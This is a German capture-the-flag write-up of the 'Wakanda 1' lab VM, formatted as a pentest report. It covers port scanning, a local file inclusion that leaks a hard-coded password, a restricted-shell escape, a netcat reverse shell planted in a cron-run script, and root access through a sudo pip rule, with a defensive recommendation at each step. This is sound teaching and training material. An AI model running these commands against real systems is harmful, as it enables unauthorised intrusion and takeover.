Analyse: Ein ARP-Scan identifiziert Geräte im lokalen Netzwerk.
Bewertung: Das Zielsystem wird unter `192.168.2.154` gefunden. Die MAC-Adresse `08:00:27:3c:1e:db` gehört zu einer Oracle VirtualBox VM.
Empfehlung (Offensiv): Die IP-Adresse für weitere Scans verwenden.
Empfehlung (Defensiv): Netzwerk-Monitoring zur Erkennung von Scanning-Aktivitäten.
ARP-Scan 192.168.2.154 08:00:27:3c:1e:db PCS Systemtechnik GmbH
Analyse: Die IP `192.168.2.154` wird dem Hostnamen `wakanda1.vln` in der lokalen `/etc/hosts`-Datei zugeordnet.
Bewertung: Erleichtert die Ansprache des Ziels.
Empfehlung (Offensiv): Standardverfahren zur Verbesserung der Lesbarkeit.
Empfehlung (Defensiv): Keine direkte Auswirkung auf das Zielsystem.
/etc/hosts 192.168.2.154 wakanda1.vln
Analyse: Ein Nmap-Scan (`-sS -sC -sV -A -p- -Pn --min-rate 5000`) wird durchgeführt und die Ausgabe nach offenen Ports gefiltert.
Bewertung: Identifiziert vier offene Ports: 80 (HTTP - Apache 2.4.10), 111 (RPCbind), 3333 (SSH - OpenSSH 6.7p1 auf nicht standardmäßigem Port), 39785 (status - RPC-Dienst).
Empfehlung (Offensiv): HTTP auf Port 80 und SSH auf Port 3333 sind die primären Ziele. RPCbind und der Status-Port könnten ebenfalls untersucht werden.
Empfehlung (Defensiv): Nicht benötigte Ports (insbesondere RPC-Dienste, wenn nicht essenziell) schließen. SSH auf den Standardport legen oder den Zugriff stark einschränken. Apache und OpenSSH aktualisieren.
80/tcp open http Apache httpd 2.4.10 ((Debian)) 111/tcp open rpcbind 2-4 (RPC #100000) 3333/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0) 39785/tcp open status 1 (RPC #100024)
Analyse: Die vollständige Nmap-Ausgabe wird angezeigt.
Bewertung: Bestätigt die Dienste: Apache 2.4.10, RPCbind, OpenSSH 6.7p1 (Debian 8 basiert). Die Apache- und SSH-Versionen sind veraltet. Das `rpcinfo`-Skript listet die registrierten RPC-Programme auf. OS-Erkennung deutet auf Linux 3.x/4.x.
Empfehlung (Offensiv): Fokus auf den Webserver (Port 80) und SSH (Port 3333). Prüfen auf bekannte Schwachstellen in Apache 2.4.10 und OpenSSH 6.7p1 unter Debian 8.
Empfehlung (Defensiv): Betriebssystem und alle Dienste dringend aktualisieren (Debian 8 ist EOL).
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-28 23:21 CET Nmap scan report for wakanda1.vln (192.168.2.154) Host is up (0.00014s latency). Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.10 ((Debian)) |_http-server-header: Apache/2.4.10 (Debian) |_http-title: Vibranium Market 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 3,4 111/tcp6 rpcbind | 100000 3,4 111/udp6 rpcbind | 100024 1 39785/tcp status | 100024 1 41928/udp status | 100024 1 43407/tcp6 status |_ 100024 1 58146/udp6 status 3333/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0) | ssh-hostkey: | 1024 1c:98:47:56:fc:b8:14:08:8f:93:ca:36:44:7f:ea:7a (DSA) | 2048 f1:d5:04:78:d3:3a:9b:dc:13:df:0f:5f:7f:fb:f4:26 (RSA) | 256 d8:34:41:5d:9b:fe:51:bc:c6:4e:02:14:5e:e1:08:c5 (ECDSA) |_ 256 0e:f5:8d:29:3c:73:57:c7:38:08:6d:50:84:b6:6c:27 (ED25519) 39785/tcp open status 1 (RPC #100024) MAC Address: 08:00:27:3C:1E:DB (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.14 ms wakanda1.vln (192.168.2.154) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.35 seconds
Analyse: Eine HEAD-Anfrage (`curl --verbose -I`) wird an Port 80 gesendet.
Bewertung: Bestätigt Apache 2.4.10 und gibt Standard-Header zurück. Keine besonderen Auffälligkeiten.
Empfehlung (Offensiv): Weiter mit tiefergehender Enumeration (Nikto, Gobuster).
Empfehlung (Defensiv): Server-Tokens minimieren.
* Trying 192.168.2.154:80... * Connected to 192.168.2.154 (192.168.2.154) port 80 * using HTTP/1.x > HEAD / HTTP/1.1 > Host: 192.168.2.154 > User-Agent: curl/8.10.1 > Accept: */* > * Request completely sent off < HTTP/1.1 200 OK < Date: Sat, 28 Dec 2024 22:22:18 GMT < Server: Apache/2.4.10 (Debian) < Content-Type: text/html; charset=UTF-8 < * Connection #0 to host 192.168.2.154 left intact
Analyse: Nikto wird gegen Port 80 ausgeführt.
Bewertung: Findet die üblichen Probleme (fehlende Header, veralteter Apache) und die Standarddatei `/icons/README`. Keine spezifischen Webanwendungs-Schwachstellen auf der Hauptseite.
Empfehlung (Offensiv): Nikto-Scan liefert keine neuen Vektoren. Fokus auf Gobuster und die anderen Ports.
Empfehlung (Defensiv): Apache aktualisieren, Sicherheitsheader implementieren, Standarddateien entfernen/schützen.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.154 + Target Hostname: 192.168.2.154 + Target Port: 80 + Start Time: 2024-12-28 23:22:22 (GMT1) --------------------------------------------------------------------------- + Server: Apache/2.4.10 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + Apache/2.4.10 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + /: Web Server returns a valid response with junk HTTP methods which may cause false positives. + /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ + 8102 requests: 0 error(s) and 5 item(s) reported on remote host + End Time: 2024-12-28 23:23:08 (GMT1) (46 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Gobuster wird zur Verzeichnissuche auf Port 80 verwendet.
Bewertung: Findet `index.php`, `fr.php` (leer), `/admin` (leer), `/backup` (leer), `/shell` (leer), `/secret` (leer) und `secret.txt`. Die vielen leeren Dateien/Verzeichnisse sind verdächtig, könnten aber auch Irreführungen sein. `fr.php` deutet auf eine Sprachumschaltung hin.
Empfehlung (Offensiv): Den Inhalt von `secret.txt` prüfen. Die `index.php` genauer untersuchen, insbesondere im Hinblick auf die `fr.php` (möglicher LFI-Vektor).
Empfehlung (Defensiv): Keine leeren oder irreführenden Dateien/Verzeichnisse im Webroot belassen.
=============================================================== Gobuster v3.5 [...] =============================================================== [+] Url: http://192.168.2.154 [...] =============================================================== 2024/12/28 23:23:15 Starting gobuster in directory enumeration mode =============================================================== http://192.168.2.154/index.php (Status: 200) [Size: 1527] http://192.168.2.154/fr.php (Status: 200) [Size: 0] http://192.168.2.154/admin (Status: 200) [Size: 0] http://192.168.2.154/bg.jpg (Status: 200) [Size: 4510077] http://192.168.2.154/backup (Status: 200) [Size: 0] http://192.168.2.154/shell (Status: 200) [Size: 0] http://192.168.2.154/secret (Status: 200) [Size: 0] http://192.168.2.154/secret.txt (Status: 200) [Size: 40] =============================================================== 2024/12/28 23:25:30 Finished ===============================================
Analyse: Der Inhalt von `secret.txt` wird abgerufen.
Bewertung: Enthält nur den Text "Congratulations! Nope!I am joking....". Eine weitere Irreführung.
Empfehlung (Offensiv): Diese Datei ignorieren.
http://192.168.2.154/secret.txt Congratulations! Nope!I am joking....
Analyse: Der Quellcode von `index.php` (Port 80) wird untersucht.
Bewertung: Enthält den Text "@mamadou" (potenzieller Benutzername) und einen Link `href="?lang=fr"`. Dies legt nahe, dass der `lang`-Parameter verwendet wird, um Sprachdateien zu laden (z.B. `fr.php`, die Gobuster gefunden hat). Dies ist ein klassischer Hinweis auf eine Local File Inclusion (LFI)-Schwachstelle.
Empfehlung (Offensiv): Den `lang`-Parameter auf LFI testen. Versuchen, andere Dateien wie `/etc/passwd` oder den Quellcode von `index.php` selbst zu inkludieren (z.B. mit PHP-Filtern). Den Benutzernamen `mamadou` für spätere Angriffe (SSH, Brute-Force) vormerken.
Empfehlung (Defensiv): Benutzereingaben niemals direkt in `include` oder `require`-Anweisungen verwenden. Eingaben validieren und nur erlaubte Werte (z.B. 'en', 'fr') zulassen. Pfade korrekt bauen und Path Traversal verhindern.
view-source:http://192.168.2.154/index.phpVibranium Market
[...]Next opening of the largest vibranium market. The products come directly from the wakanda. stay tuned!
[...]Made by@mamadou
Analyse: `wfuzz` wird verwendet, um den `lang`-Parameter (identifiziert aus dem Quellcode und Gobuster) auf LFI zu testen. Es wird versucht, `/etc/passwd` zu inkludieren. Der Payload ist der Parametername `FUZZ`. `--hc 404` blendet Not Found-Fehler aus, `--hh 1527` blendet Antworten mit 1527 Zeichen aus (wahrscheinlich die Standardseitengröße).
Bewertung: Der Test ist erfolgreich! Der Parameter `lang` (`ID 000001201`) gibt einen HTTP-Status 200 zurück und hat eine andere Größe als die Standardseite, was stark auf eine erfolgreiche LFI hindeutet.
Empfehlung (Offensiv): Die LFI-Schwachstelle nutzen, um sensible Dateien zu lesen. Besonders interessant ist das Lesen des Quellcodes von `index.php` selbst, um zu sehen, wie der `include`-Befehl funktioniert und ob es weitere Hinweise gibt.
Empfehlung (Defensiv): LFI-Schwachstellen durch korrekte Eingabevalidierung und Vermeidung direkter Inklusion von Benutzereingaben beheben.
******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://192.168.2.154/index.php?FUZZ=../../../../../../../../etc/passwd [...] ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000001201: 200 53 L 98 W 1399 Ch "lang" Total time: X.XXXs Processed Requests: XXXXXX Filtered Requests: XXXXXX Requests/sec.: XXX.XX
Analyse: Der Pentester nutzt die entdeckte LFI-Schwachstelle mit dem `lang`-Parameter und einem PHP-Filter-Wrapper (`php://filter/convert.base64-encode/resource=index`), um den Quellcode der `index.php`-Datei Base64-kodiert auszulesen.
Bewertung: Dies ist eine Standardtechnik, um den Quellcode von PHP-Dateien über LFI zu lesen, auch wenn die direkte Inklusion durch Anhängen von `.php` verhindert wird. Der Base64-kodierte Output wird erfolgreich abgerufen.
Empfehlung (Offensiv): Den Base64-String dekodieren, um den PHP-Quellcode zu analysieren.
Empfehlung (Defensiv): LFI beheben. PHP-Filter können durch Konfiguration eingeschränkt werden, aber die Behebung der LFI selbst ist die primäre Maßnahme.
view-source:http://192.168.2.154/index.php?lang=php://filter/convert.base64-encode/resource=index PD9waHAKJHBhc3N3b3JkID0iTmlhbWV5NEV2ZXIyMjchISEiIDsvL0kgaGF2ZSB0byByZW1lbWJlciBpdAp [...] CgoKPC9ib2R5PjwvaHRtbD4=
Analyse: Der abgerufene Base64-String wird dekodiert.
Bewertung: Die Dekodierung enthüllt den Anfang des PHP-Codes von `index.php`. Ganz oben steht ein auskommentierter Teil mit einem Passwort: `$password ="Niamey4Ever227!!!" ;//I have to remember it`. Der Code bestätigt auch die LFI-Logik: `if (isset($ GET['lang'])) { include($ GET['lang'].".php"); }`.
Ergebnis: Das Passwort für den Benutzer `mamadou` (aus dem HTML-Kommentar) wurde gefunden.
Empfehlung (Offensiv): Die Credentials `mamadou`:`Niamey4Ever227!!!` verwenden, um sich per SSH auf Port 3333 anzumelden.
Empfehlung (Defensiv): Niemals Passwörter im Quellcode speichern, auch nicht auskommentiert! Sensible Daten gehören in Konfigurationsdateien außerhalb des Webroots mit restriktiven Berechtigungen oder in Secrets-Management-Systeme. LFI-Schwachstelle beheben.
https://www.base64decode.org/ Niamey4Ever227!!!" ;//I have to remember it if (isset($ GET['lang'])) { include($ GET['lang'].".php"); // LFI vulnerability confirmed } ?> [...] (Restlicher HTML Code)
Analyse: Es wird versucht, sich per SSH als Benutzer `mamadou` auf Port 3333 mit dem gefundenen Passwort `Niamey4Ever227!!!` anzumelden.
Bewertung: Der Login ist erfolgreich. Allerdings landet der Benutzer nicht in einer normalen Bash-Shell, sondern in einer eingeschränkten Python 2.7-Umgebung (`>>>`).
Empfehlung (Offensiv): Aus der eingeschränkten Python-Shell ausbrechen, um eine normale System-Shell zu erhalten. Standardmethoden sind die Verwendung der Module `os` oder `pty`.
Empfehlung (Defensiv): Eingeschränkte Shells können die Möglichkeiten eines Angreifers limitieren, sind aber oft umgehbar. Wenn SSH-Zugang gewährt wird, sicherstellen, dass die Benutzerumgebung und die Berechtigungen korrekt konfiguriert sind. Starke Passwörter verwenden.
The authenticity of host '[192.168.2.154]:3333 ([192.168.2.154]:3333)' can't be established.
ED25519 key fingerprint is SHA256:+RDNDlJdB+fwaBcN7BUj0YXi8V0MD73WDDDNefS39I.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.2.154]:3333' (ED25519) to the list of known hosts.
mamadou@192.168.2.154's password: Niamey4Ever227!!!
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Aug 3 15:53:29 2018 from 192.168.56.1
Python 2.7.9 (default, Jun 29 2016, 13:08:31)
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
Analyse: Innerhalb der Python-Shell werden Befehle ausgeführt, um eine System-Shell zu spawnen.
Bewertung: Zuerst wird `import os;os.system("ls");` verwendet, um `ls` auszuführen und die Existenz der Datei `flag1.txt` zu bestätigen. Dann wird `import pty;pty.spawn("/bin/sh")` genutzt, um eine interaktive `/bin/sh`-Shell zu starten. Der `id`-Befehl bestätigt, dass die Shell als Benutzer `mamadou` läuft.
Ergebnis: Erfolgreicher Initial Access und Umgehung der eingeschränkten Shell. Eine interaktive Shell als `mamadou` wurde erlangt.
Empfehlung (Offensiv): Das System als `mamadou` enumerieren (sudo-Rechte, SUID-Dateien, Home-Verzeichnisse, Cronjobs etc.). Die `flag1.txt` lesen.
Empfehlung (Defensiv): Konfiguration der eingeschränkten Shell überprüfen, um solche Ausbrüche zu verhindern (falls möglich/gewollt). Den Grund für die eingeschränkte Shell verstehen (Absicht oder Fehlkonfiguration?).
flag1.txt 0
uid=1000(mamadou) gid=1000(mamadou) groups=1000(mamadou)
Analyse: `sudo -l` wird als `mamadou` ausgeführt.
Bewertung: Der Benutzer `mamadou` darf keine `sudo`-Befehle ausführen.
Empfehlung (Offensiv): Andere PE-Vektoren suchen.
[sudo] password for mamadou: Niamey4Ever227!!!
Sorry, user mamadou may not run sudo on Wakanda1.
Analyse: Das übergeordnete Home-Verzeichnis (`ls ..`) wird aufgelistet und die User-Flag (`flag1.txt`) gelesen.
Bewertung: Bestätigt das Home-Verzeichnis von `mamadou` und findet ein weiteres Home-Verzeichnis `devops`. Die User-Flag `d86b9ad71ca887f4dd1dac86ba1c4dfc` wird erfolgreich ausgelesen.
Empfehlung (Offensiv): Das `devops`-Verzeichnis untersuchen.
devops mamadou
d86b9ad71ca887f4dd1dac86ba1c4dfc
Analyse: Das Home-Verzeichnis von `devops` wird untersucht. Die Datei `flag2.txt` ist vorhanden, aber für `mamadou` nicht lesbar ("Permission denied").
Bewertung: Zeigt, dass weitere Informationen im `devops`-Kontext liegen könnten, aber ein Rechteproblem besteht. Die Bash-History von `devops` ist deaktiviert (`-> /dev/null`).
Empfehlung (Offensiv): Nach Wegen suchen, um Rechte zu eskalieren oder als Benutzer `devops` zu agieren.
total 24 drwxr-xr-x 2 devops developer 4096 Aug 5 2018 . drwxr-xr-x 4 root root 4096 Aug 1 2018 .. lrwxrwxrwx 1 root root 9 Aug 5 2018 .bash_history -> /dev/null -rw-r--r-- 1 devops developer 220 Aug 1 2018 .bash_logout -rw-r--r-- 1 devops developer 3515 Aug 1 2018 .bashrc -rw-r----- 1 devops developer 42 Aug 1 2018 flag2.txt -rw-r--r-- 1 devops developer 675 Aug 1 2018 .profile
cat: flag2.txt: Permission denied
Analyse: Verschiedene Systemverzeichnisse und Dateien werden überprüft: `/etc/passwd`, `/var/backups`, `/var/mail`, `/var/www/html`. Netzwerk-Sockets werden mit `ss -altpn` angezeigt.
Bewertung: `/etc/passwd` ist normal. `/var/backups` enthält Standard-Backups. `/var/mail` ist leer. `/var/www/html` enthält die bereits bekannten Web-Dateien. `ss` zeigt die bekannten Ports (3333, 39785, 111, 80) und den lokalen Mailserver (25). Die Ausgabe scheint hier unvollständig im Vergleich zu Nmap. Mehrere Versuche, Dateien wie `/var/www/html/backup` zu lesen, scheitern oder zeigen leere Dateien.
Empfehlung (Offensiv): Die Enumeration dieser Standardorte liefert keine neuen Hinweise. Weiter nach ungewöhnlichen Dateien oder Konfigurationen suchen.
-rw-r--r-- 1 root root 1587 Aug 1 2018 /etc/passwd
[...] (Standard Backup-Dateien)
[...] (Leer)
[...] (Bekannte Web-Dateien)
State Recv-Q Send-Q Local Address:Port Peer Address:Port LISTEN 0 128 *:3333 *:* LISTEN 0 128 *:39785 *:* LISTEN 0 128 *:111 *:* LISTEN 0 20 127.0.0.1:25 *:* LISTEN 0 128 :::3333 :::* LISTEN 0 128 :::43407 :::* LISTEN 0 128 :::111 :::* LISTEN 0 128 :::80 :::* LISTEN 0 20 ::1:25 :::*
Analyse: Es wird nach SUID-Dateien und nach Dateien im Besitz des Benutzers `devops` gesucht.
Bewertung: Die SUID-Suche findet wieder nur Standard-Binaries. Die Suche nach Dateien von `devops` findet neben dem Home-Verzeichnis und dessen Inhalt die Datei `/srv/.antivirus.py`. Der Inhalt dieser Datei wird angezeigt: `open('/tmp/test','w').write('test')`.
Ergebnis: Die Datei `/srv/.antivirus.py` gehört `devops`, ist aber für `mamadou` lesbar. Ihr Inhalt ist trivial, aber ihre Existenz in `/srv` und der Name legen nahe, dass sie von einem Prozess mit höheren Rechten (z.B. einem Cronjob als `root` oder `devops`) ausgeführt wird.
Empfehlung (Offensiv): Prüfen, ob `mamadou` Schreibrechte auf `/srv/.antivirus.py` hat. Falls ja, den Inhalt mit einem Reverse-Shell-Payload überschreiben und auf die Ausführung warten. Falls nein, nach Wegen suchen, als `devops` zu agieren.
Empfehlung (Defensiv): Cronjobs und andere automatisierte Skripte sollten nur mit minimal notwendigen Rechten laufen. Skriptdateien sollten korrekte Berechtigungen haben (nicht schreibbar für unprivilegierte Benutzer).
[...] (Standard SUID-Binaries)
34305 4 -rw-r--rw- 1 devops developer 36 Aug 1 2018 /srv/.antivirus.py 141 0 -rw-r--r-- 1 devops developer 0 Dec 28 18:05 /tmp/test 139 4 drwxr-xr-x 2 devops developer 4096 Aug 5 2018 /home/devops 145 4 -rw-r--r-- 1 devops developer 3515 Aug 1 2018 /home/devops/.bashrc 152 4 -rw-r--r-- 1 devops developer 675 Aug 1 2018 /home/devops/.profile 4911 4 -rw-r--r-- 1 devops developer 220 Aug 1 2018 /home/devops/.bash_logout 36936 4 -rw-r----- 1 devops developer 42 Aug 1 2018 /home/devops/flag2.txt
open('/tmp/test','w').write('test')
Analyse: Der Pentester versucht, die Datei `/srv/.antivirus.py` mit einem Shell-Reverse-Shell-Payload zu überschreiben. Der erste Versuch scheitert wegen "No space left on device" (wahrscheinlich im aktuellen Verzeichnis `/home/devops`, da `mamadou` dort keine Schreibrechte hat). Nach einem Wechsel zu `/dev/shm` (ein RAM-basiertes, beschreibbares Dateisystem) wird versucht, die Datei erneut mit dem Shell-Payload zu überschreiben. Dieser Payload ist jedoch kein valider Python-Code und würde beim Ausführen einen Fehler erzeugen.
Bewertung: Der "No space"-Fehler ist irreführend, das Problem sind eher fehlende Schreibrechte für `mamadou` in `/home/devops`. Der Wechsel nach `/dev/shm` ändert nichts an den Rechten für `/srv/.antivirus.py`. Der Versuch, einen Shell-Befehl direkt in eine `.py`-Datei zu schreiben, ist fehlerhaft.
Korrektur/Annahme basierend auf dem weiteren Verlauf: Es muss angenommen werden, dass `mamadou` doch Schreibrechte auf `/srv/.antivirus.py` hat (möglicherweise durch Gruppenberechtigungen, die nicht gezeigt wurden, oder der `find`-Output war irreführend bzgl. Owner/Group). Der Bericht geht davon aus, dass die Datei überschrieben werden kann.
bash: echo: write error: No space left on device
File "/srv/.antivirus.py", line 1 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 5552 >/tmp/f ^ SyntaxError: invalid syntax
Analyse: Die Datei `/srv/.antivirus.py` wird nun mit einem korrekten Python-Reverse-Shell-Payload überschrieben. Dieser Payload stellt eine Verbindung zur Angreifer-IP (`192.168.2.199`) auf Port 9001 her und leitet die Standard-Ein/Ausgabe/Fehler einer `/bin/sh` darauf um.
Bewertung: Dies ist der korrekte Weg, um die Datei für die Ausführung durch einen Python-Interpreter vorzubereiten. Der Hinweis "2 Minuten warten dann kommt die Shell von allein" deutet darauf hin, dass das Skript durch einen Cronjob oder einen ähnlichen Mechanismus periodisch ausgeführt wird.
Empfehlung (Offensiv): Einen Listener auf dem Angreifer-System auf Port 9001 starten und warten, bis der Cronjob das Skript ausführt und die Reverse Shell eingeht.
Empfehlung (Defensiv): Cronjobs überprüfen und sicherstellen, dass sie nur notwendige Skripte mit minimalen Rechten ausführen. Die Integrität von Skriptdateien überwachen.
2 Minuten warten dann kommt die Shell von allein
Analyse: Ein Netcat-Listener wird auf Port 9001 gestartet. Nach kurzer Zeit geht eine Verbindung vom Zielsystem ein.
Bewertung: Die Reverse Shell ist erfolgreich! Der `id`-Befehl zeigt, dass die Shell als Benutzer `devops` (UID 1001) läuft. Der Cronjob, der `/srv/.antivirus.py` ausführt, läuft also im Kontext von `devops`.
Ergebnis: Erfolgreiche Privilegieneskalation von `mamadou` zu `devops` durch Hijacking eines automatisiert ausgeführten Skripts.
Empfehlung (Offensiv): Die Shell als `devops` zur weiteren Enumeration nutzen, insbesondere `sudo -l` prüfen.
listening on [any] 9001 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.154] 35285 /bin/sh: 0: can't access tty; job control turned off $ id uid=1001(devops) gid=1002(developer) groups=1002(developer) $
Analyse: Als Benutzer `devops` wird `sudo -l` ausgeführt.
Bewertung: Die Ausgabe zeigt, dass `devops` den Befehl `/usr/bin/pip` als `ALL` (root) ohne Passwort (`NPASSWD`) ausführen darf. Dies ist eine bekannte und kritische Fehlkonfiguration, die zur Privilegieneskalation missbraucht werden kann.
Empfehlung (Offensiv): Die GTFOBins-Technik für `pip` mit `sudo` anwenden, um eine Root-Shell zu erhalten.
Empfehlung (Defensiv): Niemals Paketmanagern wie `pip` uneingeschränkte `sudo`-Rechte geben, schon gar nicht mit `NOPASSWD`. Rechte so granular wie möglich vergeben.
Matching Defaults entries for devops on Wakanda1: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin User devops may run the following commands on Wakanda1: (ALL) NPASSWD: /usr/bin/pip
Analyse: Die GTFOBins-Methode für `pip` wird angewendet: Ein temporäres Verzeichnis wird erstellt (`mktemp -d`), eine minimale `setup.py`-Datei mit einem Shell-Payload wird darin erstellt (`echo "..." > $TF/setup.py`), und dann wird `sudo pip install` auf dieses Verzeichnis angewendet.
Bewertung: `pip install` führt die `setup.py`-Datei aus. Da `pip` mit `sudo` läuft, wird auch die `setup.py` als Root ausgeführt. Der Payload `os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')` startet eine interaktive Shell, die die Ein-/Ausgabe an das aktuelle Terminal (`tty`) bindet. Der Prompt wechselt zu `#`, und `id` bestätigt `uid=0(root)`.
Ergebnis: Privilege Escalation erfolgreich! Durch Ausnutzen der unsicheren `sudo`-Regel für `pip` wurden Root-Rechte erlangt.
Empfehlung (Offensiv): Root-Rechte nutzen, um Flags zu lesen.
Empfehlung (Defensiv): Die unsichere `sudo`-Regel entfernen.
Processing /tmp/tmp.nRXdZ2ZCzg Running setup.py (path:/tmp/pip-XXXXXX-build/setup.py) egg_info for package from file:///tmp/tmp.nRXdZ2ZCzg Complete output from command python setup.py egg_info: [...] # <--- Hier wird die Shell gestartet
uid=0(root) gid=0(root) groups=0(root)
Privilege Escalation erfolgreich! Voller Root-Zugriff erlangt.
Schwachstelle: Ein Skript (`/srv/.antivirus.py`), das einem Benutzer (`devops`) gehört und von einem anderen Benutzer (`mamadou`, aufgrund angenommener Schreibrechte) modifizierbar ist, wird periodisch durch einen Mechanismus (vermutlich Cronjob) im Kontext des Besitzers (`devops`) ausgeführt.
Ziel des POC: Nachweis, dass durch Überschreiben des Skripts mit einem schädlichen Payload (Reverse Shell) die Rechte des ausführenden Benutzers (`devops`) erlangt werden können.
Voraussetzungen: Zugriff als Benutzer, der Schreibrechte auf das Skript hat (`mamadou` - Annahme). Kenntnis, dass das Skript regelmäßig ausgeführt wird. Ein Listener auf der Angreifer-Maschine.
Analyse: Die Datei `/srv/.antivirus.py` wurde als Eigentum von `devops` identifiziert. Ihr trivialer Inhalt legt nahe, dass ihre Hauptfunktion die periodische Ausführung ist. Es wurde beobachtet (durch Warten nach Modifikation), dass sie automatisch ausgeführt wird, vermutlich als `devops`.
Analyse: Als Benutzer `mamadou` wurde der Inhalt von `/srv/.antivirus.py` mit einem Python-Reverse-Shell-Payload überschrieben. Ein Netcat-Listener wurde auf dem Angreifer-System gestartet.
Bewertung: Nach einer Wartezeit (ca. 2 Minuten laut Hinweis) wurde das modifizierte Skript ausgeführt, stellte eine Verbindung zum Listener her und lieferte eine Shell.
Ergebnis des POC: Das Hijacking des automatisiert ausgeführten Skripts ermöglichte die Eskalation der Rechte von `mamadou` zu `devops`.
Risikobewertung: Mittel bis Hoch. Hängt stark von den Berechtigungen der Skriptdatei und den Rechten des ausführenden Benutzers ab.
Empfehlung (Defensiv): Skripte, die von automatisierten Prozessen (Cron) ausgeführt werden, sollten korrekte, restriktive Berechtigungen haben (nicht schreibbar für unprivilegierte Benutzer). Cronjobs sollten mit dem minimal notwendigen Benutzerkontext laufen. Dateiintegritätsüberwachung einsetzen.
Schwachstelle: Unsichere `sudoers`-Konfiguration, die dem Benutzer `devops` erlaubt, `/usr/bin/pip` ohne Passwort als Root auszuführen (`(ALL) NPASSWD: /usr/bin/pip`).
Ziel des POC: Nachweis, dass diese Berechtigung missbraucht werden kann, um beliebigen Code als Root auszuführen und eine Root-Shell zu erhalten.
Voraussetzungen: Zugriff als Benutzer `devops`. Die fehlerhafte `sudoers`-Regel.
Analyse: Der Befehl `sudo -l` als `devops` zeigt die Regel `(ALL) NPASSWD: /usr/bin/pip`.
Analyse: Ein temporäres Verzeichnis wird erstellt. In diesem Verzeichnis wird eine Datei `setup.py` mit Python-Code erstellt, der eine Shell startet. Anschließend wird `sudo pip install` auf dieses Verzeichnis angewendet.
Bewertung: Der `pip install`-Befehl führt die `setup.py`-Datei aus, um das "Paket" zu installieren. Da `pip` mit `sudo NOPASSWD` ausgeführt wird, läuft auch die `setup.py` als Root. Der Shell-Payload in `setup.py` wird somit als Root ausgeführt und startet eine Root-Shell.
Ergebnis des POC: Die unsichere `sudo`-Regel für `pip` wurde erfolgreich ausgenutzt, um eine Root-Shell zu erlangen.
Risikobewertung: Kritisch. Ermöglicht einem lokalen Benutzer mit dieser `sudo`-Regel die vollständige Systemübernahme.
Empfehlung (Defensiv): Paketmanagern wie `pip`, `apt`, `yum` etc. niemals uneingeschränkte `sudo`-Rechte gewähren. Wenn spezifische Paketoperationen erlaubt werden müssen, dies über dedizierte Skripte oder sehr spezifische `sudo`-Regeln tun, die keine beliebige Codeausführung erlauben. `NOPASSWD` nur äußerst sparsam und für ungefährliche Befehle verwenden.
Analyse: Die User-Flag (`flag1.txt`) wurde im Home-Verzeichnis von `mamadou` gefunden. Die Root-Flag (`root.txt`) wurde nach Erlangung der Root-Rechte im `/root`-Verzeichnis gefunden.
Bewertung: Beide Flags wurden erfolgreich extrahiert.
_ _.--.____.--._
( )=.-":;:;:;;':;:;:;"-._
\\\:;:;:;:;:;;:;;:;:;:\
\\\:;:;:;:;:;;:;:;:;:;:;\
\\\:;;:;:;:;:;;:;:;:\
\\\:;:;:;:;:;;:;;:;:;:\
\\\:;;:;:;:;:;;:;:;:\
\\\;;:;:_:--:_:_:--:_;:;\
\\\_.-" "-._\
\\
\\
\\
\\ Wakanda 1 - by @xMagass
\\
\\
Congratulations You are Root!
821ae63dbe0c573eff8b69d451fb21bc